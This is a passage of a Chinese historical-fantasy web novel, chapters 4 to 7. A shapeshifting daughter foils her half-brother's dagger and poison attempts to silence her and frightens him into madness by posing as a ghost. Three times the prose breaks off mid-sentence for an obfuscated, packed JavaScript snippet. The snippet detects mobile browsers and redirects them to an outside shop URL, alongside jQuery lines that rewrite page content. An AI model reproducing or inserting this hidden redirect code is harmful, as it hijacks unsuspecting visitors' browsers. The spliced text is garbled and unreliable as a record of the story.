她气得跺脚:“妹妹不见了,大郎他还有心情喝酒,我央他同我去寻金吾卫找人,他反而不准我去,说我若是多嘴惹来金吾卫,娘子回去少不了要挨家主训,我便不敢轻举妄动……幸亏娘子平安无事,娘子昨夜到底去哪了?可是哪家小娘子邀你一起过夜了?”
殷流光想起自己昨夜过夜的地方……被迫躺在襄王的怀里给他编了一晚上倾慕溢美之词,将知意那几本话本子里的词全都用上了,而那厮居然睡着了,便觉得丢人,当机立断将这件事含糊了过去:“嗯……遇到了个聊得来的朋友,太晚了就没回来。”
正说着,外头忽然有了动静,知意跑出去看了眼,回来告诉殷流光,是狩猎的队伍准备拔营回城了,金吾卫正在清点队伍,正说着,一个男子撩开帘子走了进来:“知意,四妹她……”
来人正是殷守善,殷流光同父异母的长兄。
他猝不及防看到坐在胡床上的殷流光,整个人都顿住了,脸上的神情无比震惊。
殷流光抬起脸,冲他笑了下:“阿兄,见到我这么吃惊?”她顿了下,抬起眼,泫然欲泣道:“兄长是特意来看我还有没有活着的吗?”
“你怎么可能……”他差点脱口而出“你怎么可能没死?”,却瞟了眼知意,顿时将原本要说出口的话咽了回去。
殷流光扭头吩咐道:“知意,你去寻祁家小厮,替我转达谢意给祁家郎君,多谢他记挂,我一切都好。”
知意从小就跟着殷流光,明白殷流光这是有话跟大郎说,说了声“是”便离开了帐篷。
帐内只剩他们二人,殷流光捂住心口,偏过脸,一副心碎模样:“兄长,四妹只想问你一句,你真的要杀我?就因为我撞见了你在乐游原私会公主?”
没有外人在,殷守善也不装了,他叹了口气:“四妹,要怪,只能怪你自己,怎么偏偏挑了那个时候给我送衣裳,若非如此,你还是我的四妹,我也还是你的大哥。”
殷守善是大前年的新科进士,如今在太子府任太子舍人,只是个从六品的官,平日里多干些为东宫抄写文书的活,虽然官小,但却是在东宫供职,平素自然能经常见到皇室贵人。
前些日子太子奉旨在乐游原修建述功亭,殷守善被派去督办此事,时常往乐游原那边跑,他的亲娘,殷流光的嫡母宋翡担忧深秋天寒,冻着了自己宝贝儿子可怎么办,便拾掇出披风,忙忙地让在家里无事绣花的殷流光去乐游原送衣服。
殷流光去的时机不巧,偏偏就透过述功亭的帷障,瞧见了殷守善和坐在他怀中的一个衣冠华贵的女子背影,殷守善对其口称“公主”,神情间俱是暧昧。
当时殷流光就知道大事不好,本想立刻悄悄离开,谁知却被殷守善眼尖给发现了。
他当时虽然面上敷衍了过去,但殷流光了解自己这个嫡兄,表面看着宽容大度,实则最是阴狠刻薄。
果不其然,没过几天她就被嫡母叫去中堂,说天子将去凝华山秋猎,殷守善随行东宫,想着殷流光还没离开过长安,这次正好带上她去长长见识。
殷流光在家中向来惯于扮演柔弱敏感的小女儿,她怯怯应了,在嫡母面前恰到好处地露出被兄长记挂的惊喜和对能够出去玩的向往,嫡母很满意,还命人将自己女儿,已经出嫁的殷流灵在阁中穿过的旧衣裳拿来给殷流光。
殷流光回去的路上就变了神色,在心里把殷守善骂了个狗血淋头,殷守善带她去凝华山肯定是跟那天乐游原之事有关。
她为了自保,收拾行箧的时候趁知意不注意,塞了一把匕首进去。可万万没想到殷守善这么狠,到了凝华山之后,居然敢偷放出襄王的豹子对付她!
他们好歹十几年兄妹,殷守善为何一定要对她吓死手?
殷守善虽是文人,但却生得高大,此时他缓缓从袖子里抽出一柄短刃,慢慢逼近她:“四妹,平心而论,这些年我这个大哥对你不薄吧?你自幼丧母,是我母亲将你视如己出地养大,我和流灵对你也如亲兄弟姐妹,从不因为你是庶出就欺辱你。”
他是殷家嫡长子,殷流光是平康坊出身的琵琶女所生的庶出女儿,进他家不久就生了殷流光,这时间……还不知到底是不是他殷家血脉。
她娘早就在她四岁的时候过世,父亲忙于公务,也不怎么管后宅的事,他母亲虽然看不上殷流光,但也不像其他后宅里的恶毒继母,从不为难她。
要说殷流光除去血脉不纯又低贱这点,也确实是个乖巧懂事的妹妹,谁没有淘气的时候?但殷流光丧母之后,仿佛一夜间长大了,才四岁就知道对嫡母和父亲晨夕问安,从没有过一天缺席,比他跟亲妹妹流灵都有孝心。
殷流光嗓音都在颤抖,满眼惧怕着后退:“是啊兄长,我们从小一起长大,难道就为了一个外人,你就忍心害我吗?”
殷守善摇头道:“四妹,哥哥当然舍不得害你,可是这件事事关重大,户部年末考核马上就要来了,我能不能升迁全凭今年的考核,我不能让你给毁了。”
“阿兄就这么不相信我吗?我们是一家人,难道我会到处去说这件事自爆家丑?”两行清泪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986096|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从殷流光脸上滑过,她低头用帕子拭泪,模样凄楚可怜。
殷守善有一瞬心软,可想起公主的话,终究还是硬下心肠:“四妹,莫怪我,是公主她……一定要我斩草除根,否则她为了天家名声,会把我们殷家满门都斩草除根,阿耶他只是个七品国子监博士,公主抬抬手指,就能让我们全家灰飞烟灭啊!”
殷流光拭泪的动作一顿,睫毛轻动,在殷守善看不到的地方,神情冰冷。
原来是这样。
她还奇怪,与公主私通这件事虽然对他名声有碍,可自己在家中向来扮演的是胆小如兔的“四娘”,殷守善只要威逼利诱她,再以家族荣辱劝告,何愁她不守口如瓶?
他对她下死手,原来是奉了公主之命。
只是不知是天子三位公主中的哪一位?
她眸光轻闪,却见殷守善已经下定决心,握着匕首朝她冲了过来,想要再杀她一次。
她心中冰冷寒凉一片,对自己这位嫡兄最后的亲情也被消磨殆尽,她不躲不闪,也不装了,直视着殷守善,漠然开口:“兄长莫不是忘了,刚刚我遣知意去干了什么?你若是现在杀了我,不出今日,广平侯世子定然会指认你就是杀害我的元凶!”
殷守善手中的匕首停在半空:“你什么意思?”
“我让知意去寻祁承筠的小厮,不是真的为了道谢,而是为了借这个名义让祁承筠知道,此时此刻,我在跟兄长你共处一个帐篷,待会我若是成了具尸体,我死前见过的最后一个人必然嫌疑最大,你说,广平侯世子那么聪明,他会想不到这一点吗?”
殷守善脸上的表情变幻莫测,良久,他放下了匕首,冷道:“四妹,没想到你有些本事,平日里那副乖巧的模样都是装的?难怪能惹得广平侯世子对你魂牵梦萦。”
他收回了匕首,撩起帘子出门前,微微侧过头:“今日之事,回去后你知道该怎么说。若是吐露半个字让阿耶阿娘担忧,让哥哥我为难,恐怕到时候,我只能告诉他们四妹你在山上遇见猛兽,被吓得失心疯了。”
他走后,殷流光浑身骤然卸了力气,紧紧攥着床沿的扶手,大口大口地喘息着,喘着喘着,大颗大颗的泪珠便掉在了裙子上。
知意走进来时就瞧见殷流光眼睛睁得大大的,努力想憋回眼泪,但泪珠还是像断线的珍珠一样,扑簌簌掉个不停。
她慌忙跑过去抱住她,一下下抚着她的背:“娘子这是怎么了?!大郎都跟你说了什么?”
“兄长没说什么……”这件事已经给她惹来了杀身之祸,她不能再让知意知道,她靠着知意的肩膀,用手背把眼泪都擦了个干净:“没什么,我只是有些累了,还有点想阿娘。”
她对阿娘的记忆已经很模糊了,唯独只有阿娘死前的模样像是烙在了心底一样,随着她的长大,一年比一年更鲜明。
阿娘躺在院中的藤椅上,穿着极漂亮的裙子,抱着琵琶,额间的花钿在阳光下闪着光泽,她握着殷流光的手,吃力地对她说:“四娘,不论发生什么,你都要好好长大,好好……活下去……”
殷流光望着火盆里已经烧得只剩下半截布料的黑袍,在心里默默想,阿娘,你都不知道我昨晚跟今天经历了什么。
阿娘,流光一直都在听你的话,听你的话做一个乖巧懂事的殷家四娘子,听你的话讨阿耶和母亲的欢心,听你的话好好长到了十七岁……
可是阿娘,长大好难啊。
5. 寒鸦祠堂
天子秋猎猎出麒麟,引得一片轩然大波。
虽然第一个发现的人并不是他,而是广平侯,但这点微末细节无关紧要,反正最终传到百姓耳朵里,只会是天子仁德,所以才会有盛世出而瑞兽现。
拔营回京的路上,金吾卫前后开道,皇家龙旗威风凛凛地飘扬,麒麟就被锁在天子车辇之后的玄铁笼子里,队伍还没走到长安城外的重光门,百姓山呼万岁的声音便浩浩荡荡飘了过来。
听到这声音,饶是向来喜怒不形于色的天子,也不禁身心舒畅起来。
他坐在车辇内唤道:“望尘,朕打算将这麒麟运到禁苑饲养,虽然这件事朕交给了君疾去办,但你素来驯兽有方,此事要从旁协助一二。”
望尘是商遗思的字,他此时骑在马上护卫在天子身侧,听了此言,抱臂对天子道:“臣遵旨。”
天子的车驾右侧便跟着广平侯祁君疾,广平侯因着献麒麟一事,这两日备受风光,但他为人圆滑,在官场上向来都是老好人的做派,此时对着商遗思不住地拱手,乐呵呵笑道:“有襄王相助,这瑞兽必定能长久庇佑我大盛啊!”
商遗思笑了笑:“那是自然。”
天子车驾数里开外,才是官眷的马车,此次猎获麒麟的事情也早就在官眷中传开,回城的路上每个马车上都在议论这件事。
知意也不禁有些好奇:“拔营的时候我还跟宋小姐的婢女偷偷去瞧过那麒麟,但什么也没瞧见,十几个金吾卫守在那个玄铁笼子旁,笼子上还严严实实盖着锦缎呢。”
“娘子,你说这世上真的有麒麟吗?麒麟长什么样啊?”知意叽叽喳喳说着,殷流光心里明白她说个不停也是有心想要宽慰自己,自从阿娘去世后,她就很少哭过了,没想到会在今天如此失态,可她也真的被自己身上发生的诡异之事吓到了。
她撩开帘子,看着远处层叠的山峦:“以前我是不信的,什么瑞兽妖兽,都是编出来骗人的。但现在……”她欲言又止,知意好奇问道:“现在娘子信了吗?难道娘子已经见过了?”
“那没有。”殷流光摇头,马车颠簸,帘外的风景和草木都真实可触,她的脑子在努力劝说自己,昨夜那场变鸟的遭遇只是自己的幻梦,但被她藏在锦囊里那根做工精巧的金链子又时时刻刻提醒着她,那不是梦。
她叹了口气,放下车帘,平静且坚定道:“只是我现在相信,这世间无奇不有了。”
既然不能阻挡事情的发生,便只有接受它,才能更好地生活。
……
今日殷阆从国子监下值回来得早,暮食的时候,在饭厅里兴致勃勃地提起观麒麟一事。
“自秋猎之后,那麒麟养在禁苑里也有些时候了,那麒麟可真是温顺得很,今日天子开恩,令我等官员随幸禁苑,我远远瞧着,它长得跟野鹿也没什么区别,只不过是多了对羊角,倒是稀奇。”
他说着,见长子殷守善神色有些心不在焉,便问他:“大郎,近日太子府可有什么事?”
“没什么。”殷守善回过神,道:“最近天子猎得麒麟,各地上贺表的奏章很多,天子都让东宫代为处理,殿下又都丢给了右春坊,我忙着记录归案,是以有些疲惫罢了。”
殷父点点头,提点他:“如今广平侯替天子寻得麒麟,简在帝心,陛下这几日连带着太子都少训了几句,有广平侯扶持,这储君之位我看是稳了,你跟着东宫千万不能有二心,将来太子登基,你便是东宫旧臣,前途不可限量啊。”
殷守善反倒没有殷父那么对太子有信心,叹道:“谁知道陛下宠爱广平侯是不是一时的,长公主手握重权,虽然平时深居简出,但朝中五相除了广平侯外都出自她的门下……”
他说着,又猛地一顿,察觉到自己失言,不再多说什么,含糊了几句过去,重新拿起筷子吃饭,席间又多看了几眼从头到尾都坐在末位默默扒饭的殷流光。
回到家中的这些日子,殷流光也算是懂事,一句话也没多说,阿耶难得问起她去凝华山都见到了些什么,她也只是规规矩矩地答些山林野趣,还说他这个长兄处处照顾她,让她很感激。
虽然那天她反过来威胁他时像变了个人,牙尖嘴利,竟敢用广平侯世子威胁他,但毕竟是他对她有杀心在先,兔子急了还要咬人呢,他这妹妹向来柔弱,那天大约是生死关头被逼急了才会变成那样。
殷守善本想着就这么放过她,再怎么说都是他同父异母的妹妹,有着骨血亲缘,可今日下值后,他刚出巷子,就被人请上了贵人马车。
坐在车内的公主隐在阴影处,对他下了最后的通牒:“若你不除去她,本宫只好亲自动手,只是你如此软弱,顾恋亲情,教我怎么放心,将来你会忠心于我而不是殷家,或许,你并不适合驸马都尉这个位置。”
殷守善猛然睁大眼,慌里慌张跪在地上,抱住眼前人的膝头:“殿下再给我一次机会,再给我一次,我定然会处理掉殷流光,绝不会让我和公主的事有走漏风声的可能!”
片刻静默,公主轻笑了声,涂着蔻丹的手扶住他的肩膀,他唯唯诺诺起身坐在了公主身边。
“我知你怕事后京兆府查起来,你不好交代。”公主将白丝锦囊放在了他手心:“此药乃是青雾山道长秘制,只要洒在水中那么一丁点,人喝了,便活不过三更。”
殷守善紧紧握着那锦囊,在漆黑狭窄的马车中瞳孔因为紧张而微微扩大:“守善定不负……公主期望。”
他在太子府当了三年舍人,还是没有任何晋升的希望,太子什么事都听广平侯的,眼中哪里看得到他这种小官小吏。
既然太子看不上他,就别怪他良禽择木而栖了。
太子舍人,哪里比得上公主驸马?为了他的公主驸马之位和他的康庄大道,也只能请四娘牺牲自己,为他开路,再说了,做妹妹的为哥哥牺牲,天经地义。
吃完饭殷流光回自己院子的时候,忽然被从后面而来的殷守善叫住了。
“四娘等等为兄。”殷流光一点也不惊讶,心道果然来了。
方才在席间,她早就察觉到殷守善的目光,只是一直按兵不动,想看看他又要做什么。那日殷守善说是公主要杀她,既然公主如此惧怕与殷守善私通之事走漏风声,能杀她一次,就能杀她第二次。她也一直在等殷守善第二次动手。
殷守善在山上拿着匕首二次要杀她的时候,她就已经当这个哥哥死了,他想对她下手,她何尝不是也等着杀他?
转过身来的时候,殷流光已经换上了柔顺的模样。
“长兄寻我何事?”她顿了下,又露出惊恐惧怕的神色:“莫非兄长还是不信我……”
“四妹说的什么话,你这些日子信守承诺,守口如瓶,我都知道。”殷守善看了眼知意,从她手中接过灯笼:“你先回去吧,我跟四妹兄妹俩说会话。”
知意立刻看了眼殷流光,见她微微颔首,便行了行礼离开。
殷守善挑着灯笼在前面走,边走边道:“这些日子我也想了许多,在凝华山的时候……是我做的不对,只因公主用全家性命威胁我,我才慌了神。”
“细想来,的确对妹妹不住。”他转过身,对着殷流光作揖:“兄长给你赔罪了,万望四妹原谅。”
殷流光赶紧伸出手扶起殷守善:“做妹妹的怎么会怪罪兄长?我知道哥哥都是为了咱们家,我受点委屈不算什么的。只是……”
“只是如何?”他们已然走到了东堂小祠堂的门口,秋风萧瑟,卷起火红的乌桕树残叶,殷流光抬眼,幽幽看着殷守善:“只是公主能这么轻易地放过哥哥吗?”
殷守善咯噔一下,堆出笑:“公主……公主她也不是绝情无义的人,我动之以情晓之以理,她便也不追究了。”
“哦?是哪位公主如此仁厚?我听说天子的三位公主里,寿昌公主骄横,宁昌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986097|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
公主个性柔糯,蘅昌公主个性平平但与驸马恩爱非常……难道与哥哥见面的,是最是通情达理的宁昌公主?”
“四娘,休要胡说!”殷守善立刻变脸,低声打断殷流光的揣测,咳了几声,从袖子里掏出个小瓶子。
“不该你知道的事就少问,我这也是为你好。这是阮氏酒楼新出的玉露酿,这么一小瓶便要卖上一贯钱,听说长安城的小娘子们最近都时兴买此物饮用,我今日路过,便也给你买了一瓶。”
他将瓶子递给殷流光:“便用此物给四妹赔罪。”他目光炯炯,盯着殷流光:“四妹尝尝看。”
殷流光接过那瓶玉露酿,打开盖子正要喝,又停了下来,很是感激地对殷守善道:“不愧是阮氏酒楼的佳酿,闻起来好香啊,哥哥可曾喝过?”
她向殷守善走了几步,将瓶子怼到他面前:“这样的好东西怎么能流光一个人独享呢?哥哥先喝!”
殷守善连连摆手,下意识往后退了几步:“不必了,我不喜欢喝这种甜腻之物,你喝就是了。”
他怕殷流光起疑心,也怕耽搁太久有别的仆人经过,忙催促道:“我叫你也没别的事,只是为了向你道歉,四妹若是不喝,便是不肯原谅兄长。”
“哪里的话,这么珍贵的玉露酿兄长都愿意买给我,我怎么会不原谅你呢?”殷流光文文静静地笑了下,捧起瓶子便喝了一口,她用帕子擦了擦唇角,向殷守善笑道:“难怪最近满长安的女郎都排队去买,味道真的很好。”
此话刚一说完,殷流光忽然笑容僵硬,浑身颤抖着倒在地上,那瓶玉露酿也被摔在了草丛里,殷流光不住地口吐白沫,她满脸惊恐,用最后一丝力气看向殷守善:“兄长……你……”
殷守善叹了口气,蹲下身盯着脸色已经逐渐灰白的妹妹:“四妹,莫怪我。阿耶这辈子是没有指望了,到老都只能当个七品的国子监博士,可我不甘心啊,我苦读十载不是为了一辈子唯唯诺诺看长官脸色,我要光耀门楣,衣紫着绯!这件事只有公主殿下能帮我。”
他低下头,伸手合上殷流光眼睛:“他日我封侯拜相的时候,定会为妹妹你大修坟茔,亲写墓志铭,你就安心……”
话还没说完,倒在地上的殷流光突然睁开眼睛,紧紧握住他的手,袖中粉末骤然撒向他的脸。
殷守善被淋了满脸白色粉末,慌忙用袖子擦干净,起身呸呸呸好几声,指着殷流光大怒:“殷流光你敢使诈骗我?!”
殷流光冷冷起身,将袖中沾了玉露酿的帕子扔在地上:“兄长不也是在使诈杀我么?”
事到如今真面目已被揭穿,殷守善目光陡然变得阴狠,朝殷流光扑过去:“今日你必须死!”
但他还没扑到殷流光身边,便双眼迷离,猝然倒在了地上。
殷流光慢慢站起身,冷冷瞧着地上已经昏迷的殷守善。
她当然知道这玉露酿有毒,从凝华山回来后,她便让知意去阎浮鬼市找魍公子买了迷香,魍公子与她是旧相识,给她的迷香质量上乘,他打包票说绝对可以迷倒一头牛。
殷流光没想着杀人,买迷香只是为了自保,天子脚下,京畿重地,金吾卫跟京兆府都不是吃素的,要想神不知鬼不觉地杀一个东宫官员,并不是什么容易的事,殷守善背后有人为他撑腰,她可没有。
她正思索不杀殷守善的话,要如何防止他之后对自己吓死手,忽然觉得头晕目眩,殷守善不知给那玉露酿里放了什么毒药,她只是含在嘴里片刻,当时便感觉舌头上又麻痹的痛感。
此时麻痹感逐渐蔓延到四肢百骸,她踉跄着站不住,就在殷流光扑通一声倒在地上的时候,脑中白光乍闪,天旋地转间,女子的衣裙飘落,原地空无一人。
从女子的衣裙中钻出只黑色的乌鸦,她原地蹦跳了几下,黑豆一样的眼睛盯着眼前躺在地上的殷守善,闪过微芒。
她忽然想到了,以绝后患的办法。
6. 子夜离魂
殷守善是被冻醒的。
他发现自己还躺在东堂小祠堂门前的地上,殷流光已经不见人影,可是面前的阶上却留着一套女子衣裙。
青色的外衫,桃红的襦裙,正是方才他见过的,殷流光所穿的衣服。
那她人呢?
为何会将衣服留在这里,人却不见了?
她不是暗算他成功了么?
他爬起来,正惊疑不定间,身后的乌桕树上,红叶缓缓飘落,突兀地响起一声鸦鸣。
“什么人?!”
他猝然转身,发现只是树上的一只乌鸦在盯着他看,心里蓦然松了口气,拾起地上灯笼,不知殷流光去了哪里,且先回中堂看看情况。
但还没走几步,乌鸦又“嘎嘎”地叫了起来,他心烦意乱,拾起一块石头向那树上盯着他的乌鸦丢了过去。
“什么破鸟,叫什么叫!给我滚!”石头没打中乌鸦,打在了乌桕树上,树叶顿时摇落,无数红叶在冷月下纷飞,哗哗作响。
吱呀一声,祠堂的门霍然被风吹得洞开,门扇来回摇晃个不停。
殷守善回头,洞开的门扉里,桌上摆着的牌位黑漆漆的,像一双双诡异的眼睛,正对着他。
他皱起眉,大步走上台阶,伸手去关祠堂的门,可却在手指触及到门时猝然顿在原地。
“香……香怎么被点燃了?”
这祠堂的门平素都是锁着的,钥匙在阿耶处,除了逢年过节的祭祀,平日里并不会开门,也不会焚香。
今日非年非节,也非朔望,只是再普通不过的一日,他方才跟殷流光过来时,这门还是锁着的。
是谁开的门?点的香?
是殷流光?不,不会,她的衣衫都还在这里,人却失踪不见……更何况,她也没有开祠堂的钥匙。
殷守善心里乱糟糟的,无数猜测在脑中闪过,他不敢走进去掐灭那根香,咽了咽唾沫就要关门,可突然又有声音从他身后响起,离得极近。
女子幽怨的声音如泣如诉:“阿兄,我一向敬你爱你,为何害我?”
殷守善猝然转身,身后空无一物,只有树上的乌鸦仍冷冷注视着他。
“是谁!是谁在装神弄鬼!有本事出来啊!”他慌了神,双目圆睁,对着无人的空地大喊大叫。
“阿兄,是我啊,我是四妹,你用下了毒的玉露酿杀了我,你不记得了吗?”
那幽怨飘忽的声音再次从他背后传来,他遽然转身,背后黑漆漆的祠堂里,除了已经燃到一半的香,哪里还有丝毫人影。
“那毒好生厉害啊,我不过喝了一口,五腹六脏,四肢百骸竟都被它融没了,连骨头渣都不剩……阿兄啊,如今流光就只剩下一缕冤魂了,你说流光不缠着你日日夜夜诉说冤屈,又该缠着谁呢?”
地上的那摊桃红色衣裙愈发诡异,是啊,若不是人都化没了,又为何会好端端的抛下所有衣裙……人却不在?
公主给的药怎会如此诡异恶毒?
他原本不信世上有鬼怪,可天子秋猎猎到麒麟,那日他也在,跟着太子一起看到了笼中瑞兽,这世上连麒麟都有……更何况鬼怪?
“哗啦啦”——乌桕树上的乌鸦振翅而飞,堪堪停在那套桃红衣裙上低头啄咬。
“好痛啊,阿兄,快叫这乌鸦停下,莫啄我的骨头……”
“啊啊啊、啊——”殷守善彻底崩溃,他脸色惨白,大叫着转身朝前院跑去,还被跑几步,就被脚下的东西拌住,狠狠摔在地上。
他爬起来一看,拌住他的东西是原本被供在祠堂里的祖父的牌位。
“不肖子孙!孽畜!竟残害亲妹!殷家怎么会有你这样的后人!从今往后日日夜夜,我必寸步不离紧跟于你,若再作孽便不必苟活于世,随我去酆都阴司大帝处听凭处罚!”
低沉的充满怒气的声音随之响起,殷守善骇到极致,眼珠子一翻,彻底晕死过去。
停在襦裙上的乌鸦扑棱棱飞了过来,停在殷守善脸上,爪子毫不客气地乱拍一通,他都没什么反应,女子清脆的声音很是遗憾:“殷守善也太不经吓了,我准备的东西都没用完。”
乌鸦口吐人语,正是第二次变成乌鸦的殷流光。
她第一次凝华山上边飞边逃身后老虎的时候就发现,变成乌鸦之后,她仍然可以口吐人言。
那夜飞在半空,她情急之下对后头穷追不舍的老虎大喊:“去去去!我不好吃!别追我了!”
喊完才后知后觉,自己如今是只鸟。
那之后在襄王的帐篷里,她有好几次都差点破功说了人话,好在她机灵,话到嘴边皆变成了“嘎”。
今夜,她被玉露酿麻痹之际再次变成乌鸦,便立刻想到了可以借此机会狠狠吓一顿殷守善,假借鬼神之口,令他不准再为非作歹。
凝华山猎获麒麟之后,全京城的官员都笃信神佛鬼怪,连带着乐游原上的寺庙和青雾山上的道观香火都比从前旺了十倍不止,殷守善那日是亲眼见过麒麟的,他当然也会深信不疑。
正好他为了下手,将她引来了平素少有人来的小祠堂,她刚好能借祠堂牌位装神弄鬼。
祠堂的门是她撬开的,香也是她点燃的,祖父的牌位是她丢的,声音是她装出来的——这老东西,生前最疼爱长孙殷守善,殷守善也最是尊敬他,但祖父对她可就不一样了,曾经告诉她阿耶,琵琶女生的后代血脉卑贱,就是小猫小狗,对家族前途无益,随便养养就行,不必太过看重。
既然他们祖孙这么喜欢天伦之乐,她便借了他的牌位,让他“现身”跟殷守善团圆,殷守善如此惜命,自然不会不听祖父的话。
殷守善看样子一时半会是醒不过来了,他双眼紧闭,浑身汗如雨下,犹然闭着眼喃喃:“别过来、别过来——”
殷流光冷笑,也不知哪个公主眼瞎,居然看上这种胆小如鼠的小人。
她四下看了看,飞到台阶上,用鸟嘴咬住衣服,夜中视线昏忙,所幸她对家中的路无比熟悉,歪歪扭扭向着自己的小院子飞了过去。
殷守善这事算是了结了,但眼下最要紧的,是她何时才能变回人身。
若是跟凝华山那夜一样,需要一整晚的时间,那她便要保证自己变回去的时候是在自己的寝房内,好不被旁人看到她不着寸缕的模样,那夜在襄王帐篷里的狼狈,她是绝不想再经历一回了。
一团鸦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986098|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
影晃晃荡荡地掠过祠堂的屋檐飞远了,从祠堂深重幽浓的阴影里,慢慢爬出一条黄金瞳的白蛇。
那蛇蜿蜒着爬到殷守善身边,直起半边身子,吐着嘶嘶的蛇信子,探头到他鼻端,片刻后,白蛇扭头,蛇尾卷起玉露瓶的瓶子,向着墙垣底下的裂缝爬行而去。
……
翌日清晨,知意推开门,见殷流光早早就醒了,却将自己屋内的木箱子翻得乱七八糟,蹲在箱子面前,不知在翻找什么。
她连忙放下铜盆,绞了热巾子,走过去半跪在殷流光旁边,边帮她擦脸边低声道:“娘子,前院那边出事了!”
殷流光停下翻找的动作,假装惊讶道:“怎么了?”
她昨夜摸黑回到房间不久,竟然就变成了人形,幸好那个时候知意不在,等她回来时,殷流光已经换好了中衣,天衣无缝地瞒过了知意。
化兽之事太过诡谲,包括殷守善的事,她也不打算告诉知意,她胆子小,又爱瞎担心,知道了这些神神鬼鬼的事情,定会每天晚上都睡不好觉。
知意放下帕子,紧张地说:“大郎疯了!”
“啊?”这下殷流光是真的吃惊了:“怎么就疯了?”她也没怎么吓他啊。
知意道:“听说大郎昨夜一晚上没回他的院子,早上被出来寻他的长随在东堂的小祠堂那边找到了,人就在祠堂旁边的草丛里晕了一整晚!长随叫醒他后,他吓得跳了起来,嘴里还喊着什么‘阿翁饶了我吧,我再也不敢了’,整个人像是疯癫了……”
知意欲言又止,殷流光看出她的神情不对,问道:“阿兄提到我了?”
知意点点头:“大郎还说……‘四妹早些去投胎,莫要缠我!’”知意复述完,一脸不可思议:“大郎真是疯了!娘子好端端的大活人一个,他却说什么要你去投胎!就算是娘子的长兄也不该这么诅咒娘子啊!”
知意忿忿不平,殷流光道:“那现在呢?阿兄在何处?可请了人医治?”
“现在被夫人挪到她屋子里去了,我听夫人身边的阿妙说,已经遣人去请郎中了。”
两人正说着,门外传来脚步声,在门口停下,女子恭谨的声音道:“四娘子,夫人说,请娘子去北堂一趟。”听声音,是夫人身边的婢女阿妙。
“娘子,夫人难道是怀疑你……”知意有些担忧地低声道,殷流光镇定地拍了拍她的手:“怎么会?我怎么会害阿兄?你只要记住,如果有人问起你我的行踪……昨夜我吃完饭,就直接回院子了,路上没有遇到任何人。”
知意自幼就跟着殷流光,是殷流光的阿娘将她从平康坊的火坑里带了出来,对她有救命之恩。
殷流光在殷家不受重视,知意在下人中也是一样,备受排挤。她们两个相依为命着长大,小时候有很长一段时间都是睡在一起,后来被宋氏知道了把殷流光叫过去狠狠呵斥了一顿,不准知意再跟小姐睡同一张床。
这么多年过来,她们俩的感情比真正的姐妹还要亲厚。
知意点头,低声道:“我知道了,娘子,昨夜娘子根本就没有见过大郎。”
殷流光点点头,朝外头扬声道:“我知道了,烦请姐姐稍等,我这就来。”
7. 朝中鼎立
还没撩开门帘,殷流光就能听到里头传来的撕心裂肺的叫喊声。
“不要跟着我、不要跟着我——四妹、四妹阿兄求你了,别跟着我——”
带她进屋的阿妙脚步一顿,悄悄看了眼自家这位四娘子的神色,只见她惶惶不安,一副被吓傻的模样,抓住阿妙的袖子低声问:“阿妙姐姐,阿兄这是怎么了?”
看她的反应,倒像是真的什么也不知道。
阿妙收回目光,撩开帘子请她进去:“四娘子进去就知道了。”
屋内兵荒马乱,殷守善仅穿着中衣,缩在衣柜里不肯出来,殷母宋绯端着药碗守在衣柜前,红着眼劝他:“儿啊,就把这药喝了吧,啊?”
她舀了一勺药喂殷守善,却被殷守善惊惧地挥手阻挡,药碗打翻在地上,响声清脆。
宋绯没了办法,捂着胸口哽咽:“老天爷啊,这是撞了什么邪会变成这样!”
阿妙悄声上前提醒她:“夫人,四娘子请过来了。”
宋绯用帕子擦了擦眼泪,抬起手,阿妙立刻很有眼力见地扶着她坐在靠窗的榻上,她抬起眼,看着立在面前像个鹌鹑一样安静的殷流光,旁边殷守善的叫喊声不断传来,听得她又是心急又是烦躁,她对着殷流光冷冷审问:“四娘,昨夜你可曾去过小祠堂?见过你阿兄?”
殷流光惶惑地摇头,瞥了眼发疯的殷守善,像是被吓到了,立刻扭过头像兔子一样怯怯道:“禀母亲,流光昨夜用完暮食就回去了,绣了会帕子便睡了,不曾去过小祠堂。”
她咬着唇,像是有什么欲言又止的,宋绯道:“有话就说!你阿兄变成这样,你是不是知道些什么?”
“可能……跟凝华山之行有关。”殷流光四下看了看,走上前在宋绯身旁低声道:“母亲,在凝华山的那天晚上,我曾见阿兄半夜不睡觉,跑到山中深处去了,都说凝华山是有灵脉的,否则也不能麒麟现世,我听人说,世间万物相克相生,这有瑞兽的地方,必有被瑞兽所镇的妖邪,阿兄莫不是……那夜撞见了什么妖邪?”
宋绯变了脸色,斥道:“一派胡言!你阿兄文魁星庇佑,怎么会有妖邪敢近身!”
殷流光被吓到,慌忙道:“母亲息怒,是四娘胡说了。”
